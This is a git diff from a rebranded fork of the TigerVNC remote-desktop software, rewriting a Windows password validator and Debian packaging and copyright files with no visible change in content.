Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifdef HAVE_CONFIG_H -#include -#endif - -#include -#include - -using namespace rfb; - -// This method will only work for Windows NT, 2000, and XP (and possibly Vista) -bool WinPasswdValidator::validateInternal(rfb::SConnection* /*sc*/, - const char* username, - const char* password, - std::string & /* msg */) -{ - HANDLE handle; - - BOOL ret = LogonUser(username, ".", password, LOGON32_LOGON_NETWORK, - LOGON32_PROVIDER_DEFAULT, &handle); - if (ret != 0) { - CloseHandle(handle); - return true; - } - - return false; -} +/* Copyright (C) 2005-2006 Martin Koegler + * Copyright (C) 2006 OCCAM Financial Technology + * Copyright (C) 2010 T2SRFBVNC Team + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifdef HAVE_CONFIG_H +#include +#endif + +#include +#include + +using namespace rfb; + +// This method will only work for Windows NT, 2000, and XP (and possibly Vista) +bool WinPasswdValidator::validateInternal(rfb::SConnection* /*sc*/, + const char* username, + const char* password, + std::string & /* msg */) +{ + HANDLE handle; + + BOOL ret = LogonUser(username, ".", password, LOGON32_LOGON_NETWORK, + LOGON32_PROVIDER_DEFAULT, &handle); + if (ret != 0) { + CloseHandle(handle); + return true; + } + + return false; +} diff --git a/T2SRFB/common/rfb/WinPasswdValidator.h b/T2SRFB/common/rfb/WinPasswdValidator.h index 84cdae2..c81ec3a 100644 --- a/T2SRFB/common/rfb/WinPasswdValidator.h +++ b/T2SRFB/common/rfb/WinPasswdValidator.h @@ -1,41 +1,41 @@ -/* Copyright (C) 2005-2006 Martin Koegler - * Copyright (C) 2006 OCCAM Financial Technology - * Copyright (C) 2010 T2SRFBVNC Team - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifndef __RFB_WINPASSWDVALIDATOR_H__ -#define __RFB_WINPASSWDVALIDATOR_H__ - -#include -#include - -namespace rfb -{ - class WinPasswdValidator : public PasswordValidator { - public: - WinPasswdValidator() {}; - virtual ~WinPasswdValidator() {}; - protected: - bool validateInternal(SConnection *sc, - const char *username, - const char *password, - std::string &msg) override; - }; -} - -#endif /* WINPASSWDVALIDATOR_H */ +/* Copyright (C) 2005-2006 Martin Koegler + * Copyright (C) 2006 OCCAM Financial Technology + * Copyright (C) 2010 T2SRFBVNC Team + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifndef __RFB_WINPASSWDVALIDATOR_H__ +#define __RFB_WINPASSWDVALIDATOR_H__ + +#include +#include + +namespace rfb +{ + class WinPasswdValidator : public PasswordValidator { + public: + WinPasswdValidator() {}; + virtual ~WinPasswdValidator() {}; + protected: + bool validateInternal(SConnection *sc, + const char *username, + const char *password, + std::string &msg) override; + }; +} + +#endif /* WINPASSWDVALIDATOR_H */ diff --git a/T2SRFB/contrib/packages/deb/ubuntu-jammy/debian/control b/T2SRFB/contrib/packages/deb/ubuntu-jammy/debian/control index e221550..dc6d927 100644 --- a/T2SRFB/contrib/packages/deb/ubuntu-jammy/debian/control +++ b/T2SRFB/contrib/packages/deb/ubuntu-jammy/debian/control @@ -1,192 +1,192 @@ -Source: tigervnc -Section: x11 -Priority: optional -Maintainer: Brian P. Hinz -Standards-Version: 3.8.4 -Build-Depends: -# T2SRFBVNC dependencies - debhelper (>= 9), - dh-autoreconf, - po-debconf, - dpkg-dev (>= 1.16.1), - appstream, - cmake, - gettext, - zlib1g-dev, - libjpeg-turbo8-dev, - libavcodec-dev, - libavutil-dev, - libswscale-dev, - libgnutls28-dev, - libgmp-dev, - libpam0g-dev, - libpng-dev, - libxrandr-dev, - libxdamage-dev, - libfltk1.3-dev, - xorg-server-source, - xserver-xorg-dev, - openjdk-8-jdk, - uuid-dev, - libglib2.0-dev, - libpipewire-0.3-dev, -# Xorg dependencies -# debhelper-compat (= 12), - po-debconf, - quilt, - pkg-config, - bison, - flex, - xutils-dev (>= 1:7.6+4), - xfonts-utils (>= 1:7.5+1), - x11proto-dev (>= 2021.5), - xtrans-dev (>= 1.3.5), - libxau-dev (>= 1:1.0.5-2), - libxcvt-dev, - libxdmcp-dev (>= 1:0.99.1), - libxfont-dev (>= 1:2.0.1), - libxkbfile-dev (>= 1:0.99.1), - libpixman-1-dev (>= 0.27.2), - libpciaccess-dev (>= 0.12.901), - libgcrypt-dev, - nettle-dev, - libudev-dev (>= 151-3) [linux-any], - libselinux1-dev (>= 2.0.80) [linux-any], - libaudit-dev [linux-any], - libdrm-dev (>= 2.4.107-5~) [!hurd-i386], - libgl1-mesa-dev (>= 9.2), - mesa-common-dev, -# Don't use libunwind for armel, armhf, and arm64 as this library is buggy (bug #923962) on those architectures. - libunwind-dev [amd64 hppa i386 ia64 mips64 mips64el mipsel powerpc powerpcspe ppc64 ppc64el sh4], - libxmuu-dev (>= 1:0.99.1), - libxext-dev (>= 1:0.99.1), - libx11-dev (>= 2:1.6), - libxrender-dev (>= 1:0.9.0), - libxi-dev (>= 2:1.8), - libxpm-dev (>= 1:3.5.3), - libxaw7-dev (>= 1:0.99.1), - libxt-dev (>= 1:0.99.1), - libxmu-dev (>= 1:0.99.1), - libxtst-dev (>= 1:0.99.1), - libxres-dev (>= 1:0.99.1), - libxfixes-dev (>= 1:3.0.0), - libxv-dev, - libxinerama-dev, - libxshmfence-dev (>= 1.1) [!hurd-i386], -# glamor - libepoxy-dev [linux-any kfreebsd-any], - libegl1-mesa-dev [linux-any kfreebsd-any], - libgbm-dev (>= 10.2) [linux-any kfreebsd-any], -## XCB bits for Xephyr -# libx11-xcb-dev, -# libxcb1-dev, -# libxcb-xkb-dev, -# libxcb-shape0-dev, -# libxcb-render0-dev, -# libxcb-render-util0-dev, -# libxcb-util0-dev, -# libxcb-image0-dev, -# libxcb-icccm4-dev, -# libxcb-shm0-dev, -# libxcb-keysyms1-dev, -# libxcb-randr0-dev, -# libxcb-xv0-dev, -# libxcb-glx0-dev, -# libxcb-xf86dri0-dev (>= 1.6), -# unit tests - xkb-data, - x11-xkb-utils, -# arc4random_buf(), getpeereid() - libbsd-dev, -#logind - libdbus-1-dev (>= 1.0) [linux-any], -# systemd-daemon - libsystemd-dev [linux-any], -Homepage: http://www.tigervnc.com - -Package: tigervncserver -Architecture: any -Provides: - xserver, - vnc-server -Depends: - x11-common | xserver-common, - x11-utils, - xauth, - x11-xkb-utils, - ${shlibs:Depends}, - ${perl:Depends}, - ${misc:Depends} -Recommends: - xfonts-base, - x11-xserver-utils -Suggests: - xtigervncviewer, - tigervnc-java -Description: virtual network computing server software - Virtual Network Computing (VNC) is a remote display system which allows you to - view and interact with a virtual desktop environment that is running on another - computer on the network. Using VNC, you can run graphical applications on a - remote machine and send only the display from these applications to your local - machine. VNC is platform-independent and supports a wide variety of operating - systems and architectures as both servers and clients. - . - T2SRFBVNC is a high-speed version of VNC based on the RealVNC 4 and X.org code - bases. T2SRFBVNC started as a next-generation development effort for TightVNC - on Unix and Linux platforms, but it split from its parent project in early 2009 - so that TightVNC could focus on Windows platforms. T2SRFBVNC supports a variant - of Tight encoding that is greatly accelerated by the use of the libjpeg-turbo - JPEG codec. - -Package: xtigervncviewer -Architecture: any -Provides: - vncviewer, - vnc-viewer -Depends: - ${shlibs:Depends}, - ${misc:Depends} -Recommends: - xfonts-base -Suggests: - tigervncserver, - ssh -Description: virtual network computing client software for X - Virtual Network Computing (VNC) is a remote display system which allows you to - view and interact with a virtual desktop environment that is running on another - computer on the network. Using VNC, you can run graphical applications on a - remote machine and send only the display from these applications to your local - machine. VNC is platform-independent and supports a wide variety of operating - systems and architectures as both servers and clients. - . - T2SRFBVNC is a high-speed version of VNC based on the RealVNC 4 and X.org code - bases. T2SRFBVNC started as a next-generation development effort for TightVNC - on Unix and Linux platforms, but it split from its parent project in early 2009 - so that TightVNC could focus on Windows platforms. T2SRFBVNC supports a variant - of Tight encoding that is greatly accelerated by the use of the libjpeg-turbo - JPEG codec. - -Package: tigervnc-java -Architecture: any -Suggests: - tigervncserver -Provides: - vncviewer, - vnc-viewer -Depends: - default-jre -Description: T2SRFBVNC java applet - Virtual Network Computing (VNC) is a remote display system which allows you to - view and interact with a virtual desktop environment that is running on another - computer on the network. Using VNC, you can run graphical applications on a - remote machine and send only the display from these applications to your local - machine. VNC is platform-independent and supports a wide variety of operating - systems and architectures as both servers and clients. - . - T2SRFBVNC is a high-speed version of VNC based on the RealVNC 4 and X.org code - bases. T2SRFBVNC started as a next-generation development effort for TightVNC - on Unix and Linux platforms, but it split from its parent project in early 2009 - so that TightVNC could focus on Windows platforms. T2SRFBVNC supports a variant - of Tight encoding that is greatly accelerated by the use of the libjpeg-turbo - JPEG codec. - +Source: tigervnc +Section: x11 +Priority: optional +Maintainer: Brian P. Hinz +Standards-Version: 3.8.4 +Build-Depends: +# T2SRFBVNC dependencies + debhelper (>= 9), + dh-autoreconf, + po-debconf, + dpkg-dev (>= 1.16.1), + appstream, + cmake, + gettext, + zlib1g-dev, + libjpeg-turbo8-dev, + libavcodec-dev, + libavutil-dev, + libswscale-dev, + libgnutls28-dev, + libgmp-dev, + libpam0g-dev, + libpng-dev, + libxrandr-dev, + libxdamage-dev, + libfltk1.3-dev, + xorg-server-source, + xserver-xorg-dev, + openjdk-8-jdk, + uuid-dev, + libglib2.0-dev, + libpipewire-0.3-dev, +# Xorg dependencies +# debhelper-compat (= 12), + po-debconf, + quilt, + pkg-config, + bison, + flex, + xutils-dev (>= 1:7.6+4), + xfonts-utils (>= 1:7.5+1), + x11proto-dev (>= 2021.5), + xtrans-dev (>= 1.3.5), + libxau-dev (>= 1:1.0.5-2), + libxcvt-dev, + libxdmcp-dev (>= 1:0.99.1), + libxfont-dev (>= 1:2.0.1), + libxkbfile-dev (>= 1:0.99.1), + libpixman-1-dev (>= 0.27.2), + libpciaccess-dev (>= 0.12.901), + libgcrypt-dev, + nettle-dev, + libudev-dev (>= 151-3) [linux-any], + libselinux1-dev (>= 2.0.80) [linux-any], + libaudit-dev [linux-any], + libdrm-dev (>= 2.4.107-5~) [!hurd-i386], + libgl1-mesa-dev (>= 9.2), + mesa-common-dev, +# Don't use libunwind for armel, armhf, and arm64 as this library is buggy (bug #923962) on those architectures. + libunwind-dev [amd64 hppa i386 ia64 mips64 mips64el mipsel powerpc powerpcspe ppc64 ppc64el sh4], + libxmuu-dev (>= 1:0.99.1), + libxext-dev (>= 1:0.99.1), + libx11-dev (>= 2:1.6), + libxrender-dev (>= 1:0.9.0), + libxi-dev (>= 2:1.8), + libxpm-dev (>= 1:3.5.3), + libxaw7-dev (>= 1:0.99.1), + libxt-dev (>= 1:0.99.1), + libxmu-dev (>= 1:0.99.1), + libxtst-dev (>= 1:0.99.1), + libxres-dev (>= 1:0.99.1), + libxfixes-dev (>= 1:3.0.0), + libxv-dev, + libxinerama-dev, + libxshmfence-dev (>= 1.1) [!hurd-i386], +# glamor + libepoxy-dev [linux-any kfreebsd-any], + libegl1-mesa-dev [linux-any kfreebsd-any], + libgbm-dev (>= 10.2) [linux-any kfreebsd-any], +## XCB bits for Xephyr +# libx11-xcb-dev, +# libxcb1-dev, +# libxcb-xkb-dev, +# libxcb-shape0-dev, +# libxcb-render0-dev, +# libxcb-render-util0-dev, +# libxcb-util0-dev, +# libxcb-image0-dev, +# libxcb-icccm4-dev, +# libxcb-shm0-dev, +# libxcb-keysyms1-dev, +# libxcb-randr0-dev, +# libxcb-xv0-dev, +# libxcb-glx0-dev, +# libxcb-xf86dri0-dev (>= 1.6), +# unit tests + xkb-data, + x11-xkb-utils, +# arc4random_buf(), getpeereid() + libbsd-dev, +#logind + libdbus-1-dev (>= 1.0) [linux-any], +# systemd-daemon + libsystemd-dev [linux-any], +Homepage: http://www.tigervnc.com + +Package: tigervncserver +Architecture: any +Provides: + xserver, + vnc-server +Depends: + x11-common | xserver-common, + x11-utils, + xauth, + x11-xkb-utils, + ${shlibs:Depends}, + ${perl:Depends}, + ${misc:Depends} +Recommends: + xfonts-base, + x11-xserver-utils +Suggests: + xtigervncviewer, + tigervnc-java +Description: virtual network computing server software + Virtual Network Computing (VNC) is a remote display system which allows you to + view and interact with a virtual desktop environment that is running on another + computer on the network. Using VNC, you can run graphical applications on a + remote machine and send only the display from these applications to your local + machine. VNC is platform-independent and supports a wide variety of operating + systems and architectures as both servers and clients. + . + T2SRFBVNC is a high-speed version of VNC based on the RealVNC 4 and X.org code + bases. T2SRFBVNC started as a next-generation development effort for TightVNC + on Unix and Linux platforms, but it split from its parent project in early 2009 + so that TightVNC could focus on Windows platforms. T2SRFBVNC supports a variant + of Tight encoding that is greatly accelerated by the use of the libjpeg-turbo + JPEG codec. + +Package: xtigervncviewer +Architecture: any +Provides: + vncviewer, + vnc-viewer +Depends: + ${shlibs:Depends}, + ${misc:Depends} +Recommends: + xfonts-base +Suggests: + tigervncserver, + ssh +Description: virtual network computing client software for X + Virtual Network Computing (VNC) is a remote display system which allows you to + view and interact with a virtual desktop environment that is running on another + computer on the network. Using VNC, you can run graphical applications on a + remote machine and send only the display from these applications to your local + machine. VNC is platform-independent and supports a wide variety of operating + systems and architectures as both servers and clients. + . + T2SRFBVNC is a high-speed version of VNC based on the RealVNC 4 and X.org code + bases. T2SRFBVNC started as a next-generation development effort for TightVNC + on Unix and Linux platforms, but it split from its parent project in early 2009 + so that TightVNC could focus on Windows platforms. T2SRFBVNC supports a variant + of Tight encoding that is greatly accelerated by the use of the libjpeg-turbo + JPEG codec. + +Package: tigervnc-java +Architecture: any +Suggests: + tigervncserver +Provides: + vncviewer, + vnc-viewer +Depends: + default-jre +Description: T2SRFBVNC java applet + Virtual Network Computing (VNC) is a remote display system which allows you to + view and interact with a virtual desktop environment that is running on another + computer on the network. Using VNC, you can run graphical applications on a + remote machine and send only the display from these applications to your local + machine. VNC is platform-independent and supports a wide variety of operating + systems and architectures as both servers and clients. + . + T2SRFBVNC is a high-speed version of VNC based on the RealVNC 4 and X.org code + bases. T2SRFBVNC started as a next-generation development effort for TightVNC + on Unix and Linux platforms, but it split from its parent project in early 2009 + so that TightVNC could focus on Windows platforms. T2SRFBVNC supports a variant + of Tight encoding that is greatly accelerated by the use of the libjpeg-turbo + JPEG codec. + diff --git a/T2SRFB/contrib/packages/deb/ubuntu-jammy/debian/copyright b/T2SRFB/contrib/packages/deb/ubuntu-jammy/debian/copyright index 829e958..f770d61 100644 --- a/T2SRFB/contrib/packages/deb/ubuntu-jammy/debian/copyright +++ b/T2SRFB/contrib/packages/deb/ubuntu-jammy/debian/copyright @@ -1,116 +1,116 @@ -This package was packaged for Debian by Brian P. Hinz -on Mon, 28 Oct 2019 21:29:33 +0500 using the tightvnc package as a base. - -It was downloaded from: - https://www.tigervnc.org/ - -COPYRIGHT: -========== - -T2SRFBVNC is - - Copyright (C) 1999 AT&T Laboratories Cambridge - Copyright (C) 2002-2005 RealVNC Ltd. - Copyright (C) 2000-2006 TightVNC Group - Copyright (C) 2005-2006 Martin Koegler - Copyright (C) 2005-2006 Sun Microsystems, Inc. - Copyright (C) 2006 OCCAM Financial Technology - Copyright (C) 2000-2008 Constantin Kaplinsky - Copyright (C) 2004-2017 Peter Astrand for Cendio AB - Copyright (C) 2010 Antoine Martin - Copyright (C) 2010 m-privacy GmbH - Copyright (C) 2009-2011 D. R. Commander - Copyright (C) 2009-2011 Pierre Ossman for Cendio AB - Copyright (C) 2004, 2009-2011 Red Hat, Inc. - Copyright (C) 2009-2024 T2SRFBVNC Team - All Rights Reserved. - -This software is distributed under the GNU General Public Licence as published -by the Free Software Foundation. See the file LICENCE.TXT for the conditions -under which this software is made available. T2SRFBVNC also contains code from -other sources. See the Acknowledgements section below, and the individual -source files, for details of the conditions under which they are made -available. - -ACKNOWLEDGEMENTS -================ - -This distribution contains zlib compression software. This is: - - Copyright (C) 1995-2002 Jean-loup Gailly and Mark Adler - - This software is provided 'as-is', without any express or implied - warranty. In no event will the authors be held liable for any damages - arising from the use of this software. - - Permission is granted to anyone to use this software for any purpose, - including commercial applications, and to alter it and redistribute it - freely, subject to the following restrictions: - - 1. The origin of this software must not be misrepresented; you must not - claim that you wrote the original software. If you use this software - in a product, an acknowledgment in the product documentation would be - appreciated but is not required. - 2. Altered source versions must be plainly marked as such, and must not be - misrepresented as being the original software. - 3. This notice may not be removed or altered from any source distribution. - - Jean-loup Gailly Mark Adler - jloup@gzip.org madler@alumni.caltech.edu - - The data format used by the zlib library is described by RFCs (Request for - Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt - (zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format). - - -This distribution contains public domain DES software by Richard Outerbridge. -This is: - - Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge. - (GEnie : OUTER; CIS : [71755,204]) Graven Imagery, 1992. - - -This distribution contains software from the X Window System. This is: - - Copyright 1987, 1988, 1998 The Open Group - - Permission to use, copy, modify, distribute, and sell this software and its - documentation for any purpose is hereby granted without fee, provided that - the above copyright notice appear in all copies and that both that - copyright notice and this permission notice appear in supporting - documentation. - - The above copyright notice and this permission notice shall be included in - all copies or substantial portions of the Software. - - THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN - AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN - CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. - - Except as contained in this notice, the name of The Open Group shall not be - used in advertising or otherwise to promote the sale, use or other dealings - in this Software without prior written authorization from The Open Group. - - - Copyright 1987, 1988 by Digital Equipment Corporation, Maynard, Massachusetts. - - All Rights Reserved - - Permission to use, copy, modify, and distribute this software and its - documentation for any purpose and without fee is hereby granted, - provided that the above copyright notice appear in all copies and that - both that copyright notice and this permission notice appear in - supporting documentation, and that the name of Digital not be - used in advertising or publicity pertaining to distribution of the - software without specific, written prior permission. - - DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING - ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL - DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR - ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, - WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, - ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS - SOFTWARE. +This package was packaged for Debian by Brian P. Hinz +on Mon, 28 Oct 2019 21:29:33 +0500 using the tightvnc package as a base. + +It was downloaded from: + https://www.tigervnc.org/ + +COPYRIGHT: +========== + +T2SRFBVNC is + + Copyright (C) 1999 AT&T Laboratories Cambridge + Copyright (C) 2002-2005 RealVNC Ltd. + Copyright (C) 2000-2006 TightVNC Group + Copyright (C) 2005-2006 Martin Koegler + Copyright (C) 2005-2006 Sun Microsystems, Inc. + Copyright (C) 2006 OCCAM Financial Technology + Copyright (C) 2000-2008 Constantin Kaplinsky + Copyright (C) 2004-2017 Peter Astrand for Cendio AB + Copyright (C) 2010 Antoine Martin + Copyright (C) 2010 m-privacy GmbH + Copyright (C) 2009-2011 D. R. Commander + Copyright (C) 2009-2011 Pierre Ossman for Cendio AB + Copyright (C) 2004, 2009-2011 Red Hat, Inc. + Copyright (C) 2009-2024 T2SRFBVNC Team + All Rights Reserved. + +This software is distributed under the GNU General Public Licence as published +by the Free Software Foundation. See the file LICENCE.TXT for the conditions +under which this software is made available. T2SRFBVNC also contains code from +other sources. See the Acknowledgements section below, and the individual +source files, for details of the conditions under which they are made +available. + +ACKNOWLEDGEMENTS +================ + +This distribution contains zlib compression software. This is: + + Copyright (C) 1995-2002 Jean-loup Gailly and Mark Adler + + This software is provided 'as-is', without any express or implied + warranty. In no event will the authors be held liable for any damages + arising from the use of this software. + + Permission is granted to anyone to use this software for any purpose, + including commercial applications, and to alter it and redistribute it + freely, subject to the following restrictions: + + 1. The origin of this software must not be misrepresented; you must not + claim that you wrote the original software. If you use this software + in a product, an acknowledgment in the product documentation would be + appreciated but is not required. + 2. Altered source versions must be plainly marked as such, and must not be + misrepresented as being the original software. + 3. This notice may not be removed or altered from any source distribution. + + Jean-loup Gailly Mark Adler + jloup@gzip.org madler@alumni.caltech.edu + + The data format used by the zlib library is described by RFCs (Request for + Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt + (zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format). + + +This distribution contains public domain DES software by Richard Outerbridge. +This is: + + Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge. + (GEnie : OUTER; CIS : [71755,204]) Graven Imagery, 1992. + + +This distribution contains software from the X Window System. This is: + + Copyright 1987, 1988, 1998 The Open Group + + Permission to use, copy, modify, distribute, and sell this software and its + documentation for any purpose is hereby granted without fee, provided that + the above copyright notice appear in all copies and that both that + copyright notice and this permission notice appear in supporting + documentation. + + The above copyright notice and this permission notice shall be included in + all copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN + AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN + CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + + Except as contained in this notice, the name of The Open Group shall not be + used in advertising or otherwise to promote the sale, use or other dealings + in this Software without prior written authorization from The Open Group. + + + Copyright 1987, 1988 by Digital Equipment Corporation, Maynard, Massachusetts. + + All Rights Reserved + + Permission to use, copy, modify, and distribute this software and its + documentation for any purpose and without fee is hereby granted, + provided that the above copyright notice appear in all copies and that + both that copyright notice and this permission notice appear in + supporting documentation, and that the name of Digital not be + used in advertising or publicity pertaining to distribution of the + software without specific, written prior permission. + + DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING + ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL + DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR + ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, + WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, + ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS + SOFTWARE. diff --git a/T2SRFB/contrib/packages/deb/ubuntu-noble/debian/control b/T2SRFB/contrib/packages/deb/ubuntu-noble/debian/control index e38d42b..b3314dc 100644 --- a/T2SRFB/contrib/packages/deb/ubuntu-noble/debian/control +++ b/T2SRFB/contrib/packages/deb/ubuntu-noble/debian/control @@ -1,191 +1,191 @@ -Source: tigervnc -Section: x11 -Priority: optional -Maintainer: Brian P. Hinz -Standards-Version: 3.8.4 -Build-Depends: -# T2SRFBVNC dependencies - debhelper (>= 9), - dh-autoreconf, - po-debconf, - dpkg-dev (>= 1.16.1), - appstream, - cmake, - pkg-config, - gettext, - zlib1g-dev, - libjpeg-turbo8-dev, - libavcodec-dev, - libavutil-dev, - libswscale-dev, - libgnutls28-dev, - nettle-dev, - libgmp-dev, - libpam0g-dev, - libpng-dev, - libxrandr-dev, - libxdamage-dev, - libfltk1.3-dev, - xorg-server-source, - xserver-xorg-dev, - openjdk-8-jdk, - uuid-dev, - libglib2.0-dev, - libpipewire-0.3-dev, -# Xorg dependencies -# debhelper-compat (= 12), - quilt, - bison, - flex, - xutils-dev (>= 1:7.6+4), - xfonts-utils (>= 1:7.5+1), - x11proto-dev (>= 2021.5), - xtrans-dev (>= 1.3.5), - libxau-dev (>= 1:1.0.5-2), - libxcvt-dev, - libxdmcp-dev (>= 1:0.99.1), - libxfont-dev (>= 1:2.0.1), - libxkbfile-dev (>= 1:0.99.1), - libpixman-1-dev (>= 0.27.2), - libpciaccess-dev (>= 0.12.901), - libgcrypt20-dev, - libudev-dev (>= 151-3) [linux-any], - libselinux1-dev (>= 2.0.80) [linux-any], - libaudit-dev [linux-any], - libdrm-dev (>= 2.4.107-5~) [!hurd-i386], - libgl1-mesa-dev (>= 9.2), - mesa-common-dev, -# Don't use libunwind for armel, armhf, and arm64 as this library is buggy (bug #923962) on those architectures. - libunwind-dev [amd64 hppa i386 ia64 mips64 mips64el mipsel powerpc powerpcspe ppc64 ppc64el sh4], - libxmuu-dev (>= 1:0.99.1), - libxext-dev (>= 1:0.99.1), - libx11-dev (>= 2:1.6), - libxrender-dev (>= 1:0.9.0), - libxi-dev (>= 2:1.8), - libxpm-dev (>= 1:3.5.3), - libxaw7-dev (>= 1:0.99.1), - libxt-dev (>= 1:0.99.1), - libxmu-dev (>= 1:0.99.1), - libxtst-dev (>= 1:0.99.1), - libxres-dev (>= 1:0.99.1), - libxfixes-dev (>= 1:3.0.0), - libxv-dev, - libxinerama-dev, - libxshmfence-dev (>= 1.1) [!hurd-i386], -# glamor - libepoxy-dev [linux-any kfreebsd-any], - libegl1-mesa-dev [linux-any kfreebsd-any], - libgbm-dev (>= 10.2) [linux-any kfreebsd-any], -## XCB bits for Xephyr -# libx11-xcb-dev, -# libxcb1-dev, -# libxcb-xkb-dev, -# libxcb-shape0-dev, -# libxcb-render0-dev, -# libxcb-render-util0-dev, -# libxcb-util0-dev, -# libxcb-image0-dev, -# libxcb-icccm4-dev, -# libxcb-shm0-dev, -# libxcb-keysyms1-dev, -# libxcb-randr0-dev, -# libxcb-xv0-dev, -# libxcb-glx0-dev, -# libxcb-xf86dri0-dev (>= 1.6), -# unit tests - xkb-data, - x11-xkb-utils, -# arc4random_buf(), getpeereid() - libbsd-dev, -#logind - libdbus-1-dev (>= 1.0) [linux-any], -# systemd-daemon - libsystemd-dev [linux-any], -Homepage: http://www.tigervnc.com - -Package: tigervncserver -Architecture: any -Provides: - xserver, - vnc-server -Depends: - x11-common | xserver-common, - x11-utils, - xauth, - x11-xkb-utils, - ${shlibs:Depends}, - ${perl:Depends}, - ${misc:Depends} -Recommends: - xfonts-base, - x11-xserver-utils -Suggests: - xtigervncviewer, - tigervnc-java -Description: virtual network computing server software - Virtual Network Computing (VNC) is a remote display system which allows you to - view and interact with a virtual desktop environment that is running on another - computer on the network. Using VNC, you can run graphical applications on a - remote machine and send only the display from these applications to your local - machine. VNC is platform-independent and supports a wide variety of operating - systems and architectures as both servers and clients. - . - T2SRFBVNC is a high-speed version of VNC based on the RealVNC 4 and X.org code - bases. T2SRFBVNC started as a next-generation development effort for TightVNC - on Unix and Linux platforms, but it split from its parent project in early 2009 - so that TightVNC could focus on Windows platforms. T2SRFBVNC supports a variant - of Tight encoding that is greatly accelerated by the use of the libjpeg-turbo - JPEG codec. - -Package: xtigervncviewer -Architecture: any -Provides: - vncviewer, - vnc-viewer -Depends: - ${shlibs:Depends}, - ${misc:Depends} -Recommends: - xfonts-base -Suggests: - tigervncserver, - ssh -Description: virtual network computing client software for X - Virtual Network Computing (VNC) is a remote display system which allows you to - view and interact with a virtual desktop environment that is running on another - computer on the network. Using VNC, you can run graphical applications on a - remote machine and send only the display from these applications to your local - machine. VNC is platform-independent and supports a wide variety of operating - systems and architectures as both servers and clients. - . - T2SRFBVNC is a high-speed version of VNC based on the RealVNC 4 and X.org code - bases. T2SRFBVNC started as a next-generation development effort for TightVNC - on Unix and Linux platforms, but it split from its parent project in early 2009 - so that TightVNC could focus on Windows platforms. T2SRFBVNC supports a variant - of Tight encoding that is greatly accelerated by the use of the libjpeg-turbo - JPEG codec. - -Package: tigervnc-java -Architecture: any -Suggests: - tigervncserver -Provides: - vncviewer, - vnc-viewer -Depends: - default-jre -Description: T2SRFBVNC java applet - Virtual Network Computing (VNC) is a remote display system which allows you to - view and interact with a virtual desktop environment that is running on another - computer on the network. Using VNC, you can run graphical applications on a - remote machine and send only the display from these applications to your local - machine. VNC is platform-independent and 